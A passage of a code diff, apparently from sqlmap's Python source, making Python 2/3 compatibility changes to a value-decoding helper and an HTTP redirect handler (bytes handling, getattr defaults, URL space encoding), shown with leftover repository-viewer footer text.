if value and len(value) % 4 == 0:
|
||||
candidate = ""
|
||||
for i in xrange(len(value)):
|
||||
if i % 4 < 2:
|
||||
candidate += value[i]
|
||||
elif value[i] != '0':
|
||||
candidate = None
|
||||
break
|
||||
if candidate:
|
||||
value = candidate
|
||||
return value
|
||||
|
||||
value = applyFunctionRecursively(value, _)
|
||||
|
||||
# Dirty patch (safe-encoded unicode characters)
|
||||
if isinstance(value, six.text_type) and "\\x" in value:
|
||||
try:
|
||||
|
||||
@@ -13,6 +13,7 @@ from lib.core.common import getHostHeader
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import logHTTPTraffic
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -64,8 +65,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
self.redirect_request = self._redirect_request
|
||||
|
||||
def _redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
newurl = newurl.replace(' ', '%20')
|
||||
return _urllib.request.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
|
||||
return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
|
||||
|
||||
def http_error_302(self, req, fp, code, msg, headers):
|
||||
start = time.time()
|
||||
@@ -75,7 +75,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
try:
|
||||
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||
except: # e.g. IncompleteRead
|
||||
content = ""
|
||||
content = b""
|
||||
finally:
|
||||
if content:
|
||||
try: # try to write it back to the read buffer so we could reuse it in further steps
|
||||
@@ -153,17 +153,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
result.info()
|
||||
except AttributeError:
|
||||
def _(self):
|
||||
return getattr(self, "hdrs") or {}
|
||||
return getattr(self, "hdrs", {})
|
||||
|
||||
result.info = types.MethodType(_, result)
|
||||
|
||||
if not hasattr(result, "read"):
|
||||
def _(self, length=None):
|
||||
try:
|
||||
retVal = getSafeExString(ex)
|
||||
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
|
||||
except:
|
||||
retVal = ""
|
||||
finally:
|
||||
return retVal
|
||||
return getBytes(retVal)
|
||||
|
||||
result.read = types.MethodType(_, result)
|
||||
|
||||
if not getattr(result, "url", None):
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user